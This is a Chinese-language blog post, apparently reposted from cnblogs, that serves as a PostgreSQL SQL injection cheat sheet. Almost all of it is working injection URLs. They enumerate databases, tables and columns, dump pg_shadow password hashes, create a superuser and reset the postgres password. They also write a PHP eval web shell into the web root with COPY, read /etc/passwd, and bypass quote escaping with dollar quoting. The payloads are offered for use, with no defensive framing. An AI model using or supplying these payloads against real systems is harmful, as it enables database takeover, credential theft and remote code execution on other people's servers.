PostgreSQL注入基础

一般注入多用于在mssql和mysql两类数据库中,如mssql+asp、mysql+php则是最为常见的搭配环境。不同的网站应用的数据库也大不一样,根据数据库的处理能力、负载等多重因素决定。本文主要述说下关于少见的一类数据库注入:PostgreSQL。

PostgreSQL是一种特性非常齐全的自由软件的对象-关系型数据库管理系统(ORDBMS),可以说是目前世界上最先进,功能最强大的自由数据库管理系统。Postgres 的基本语法与 mysql 类似,如果对手工注入或 sql 语法有较多了解不会有任何困难。 这里只列举几种语法特性与常用语句,以供参考,更多的资料参考官方文档: http://www.postgresql.org/docs/9.2/static/sql-syntax.html (注:所有的 sql 语句不区分大小写,无论是操作符还是字段名,Postgres 都是大小写不敏感的)。

了解PostgreSQL

1.同其他数据库一致,SQL语句基本一致
2.支持/*、/**/、–注释,;和\g表示语句结束
3.使用||可以连接字符串(类似于mssql中的+),同时需要注意特殊字符被转义
4.无法自动匹配字段
5.web管理程序为phpPgAdmin
6.开放的默认端口为5432

PostgreSQL注入语句

http://xxx/1.php?id=1+order+by+x--     //order by猜字段数

http://xxx/1.php?id=1+and+1::int=1--     //判断postgresql数据库

http://xxx/1.php?id=1+and+1=cast(version() as int)--    //通过cast类型转换来暴postgresql信息

http://xxx/1.php?id=1+and+1=2+union+select+null,null,null,null--     //全部用null填充 方便在测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,null,null,null--     //测试类型

http://xxx/1.php?id=1+and+1=2+union+select+1,null,version(),null,4--   //当前PostgreSQL版本

http://xxx/1.php?id=1+and+1=2+union+select+1,null,user,null,4--   //当前用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_schema(),null,4--   //当前用户权限

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_database(),null,4--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,datname,null,4+from+pg_database+limit+1+offset+0--   //当前数据库名字

http://xxx/1.php?id=1+and+1=2+union+select+1,null,csession_user,null,4--   //会话用户

http://xxx/1.php?id=1+and+1=2+union+select+1,null,current_user,null,4--

http://xxx/1.php?id=1+and+1=cast(current_user ||999 as int)--   //目前执行环境下的用户名

http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_stat_user_tables+limit+1+offset+0--   //到所有用户表,修改offset后面的
或(加入relkind=’r’,只查询普通表)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,relname,null,4+from+pg_class+where+relkind='r'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,oid,null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--   //得到表名为xxx的oid值
或(由于oid类型是oid,要数据类型兼容我们用cast函数强制转换成varchar类型)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,cast(oid+as+varchar(10)),null,4+from+pg_class+where+relname='表名'+limit+1+offset+0--

http://xxx/1.php?id=1+and+1=2+union+select+1,null,column_name,null,4+from+information_schema.columns+where+table_name='表名'+limit+1+offset+0--     //读取每个表名的字段.(需要在information_schema模式没有删除的情况下)
或(利用对应表名为xxx的oid值)
http://xxx/1.php?id=1+and+1=2+union+select+1,null,attname,null,4+from+pg_attribute+where+attrelid=oid值+limit+1+offset+0–

http://xxx/1.php?id=1+and+1=2+union+select+1,null,usename||chr(124)||passwd,null,4+from+pg_shadow+limit+1+offset+0--   //数据库用户的信息pg_shadow(pg_shadow 关键字段username、passwd和usesuper,不过此表被做了权限设置)

postgres用户

注:postgres用户权限相当于mysql的root用户权限

新建用户(user=polar1dear,pwd=polar1dear)

;create+user+polar1dear+with+superuser+password+'polar1dear'-- 

修改postgres用户密码

;alter+user+postgres+with+password+'polar1dear'--

遍历当前数据库全部表

select+tablename+from+pg_tables+where+tablename+not+like+'pg%'+and+tablename+not+like+'sql_%'+order+by+tablename--

读、写文件

通过数据库写文件来获取webshell是最为直接的方式了,不需要找后台,也不需要找上传漏洞,甚至我们可以通过数据库来直接获取到服务器的hash值进行破解。

1.写文件

http://xxx/1.php?id=1;create table polar1dear(shell text not null);   //创建表polar1dear和字段shell
http://xxx/1.php?id=1;insert into polar1dear values(‘<?php eval($_POST[cmd]);?>’);   //写入代码到数据库
http://xxx/1.php?id=1;copy polar1dear(shell) to '/var/www/html/xxx.php';   ////导出为xxx.php文件
另一种简便的方法(直接一句话):
copy (select ‘<?php eval($_POST[cmd]);?>’) to ‘/var/www/html/xxx.php’

2.读文件

http://xxx/1.php?id=1;create table polar1dear(file text not null);     //创建表polar1dear和字段file
http://xxx/1.php?id=1;copy polar1dear(file) from '/etc/passwd';   //复制文件内容到字段中
http://xxx/1.php?id=1;select * from polar1dear;   //查询

转义绕过

如果PHP中开启了magic_quotes_gpc=on,那么很悲剧的是一些符号将会被转义,如执行select pass from member where name=”admin”,最后的语句执行时为:select pass from member where name=\”admin\”。其他数据库我们尝是通过hex、char编码来解决这个问题,而在PostgreSQL中除此之外还提供了一种新的方法来绕过。在语句中,允许我们通过$和$之间来绕过引号的转义或者过滤问题,可以改写成这样:select pass from member where name=$admin$,;insert into polar1dear values($$<?php eval($_POST[cmd]);?>$$);如此就成功的绕过了引号问题。

猜你喜欢

转载自www.cnblogs.com/Polar1dear/p/9354736.html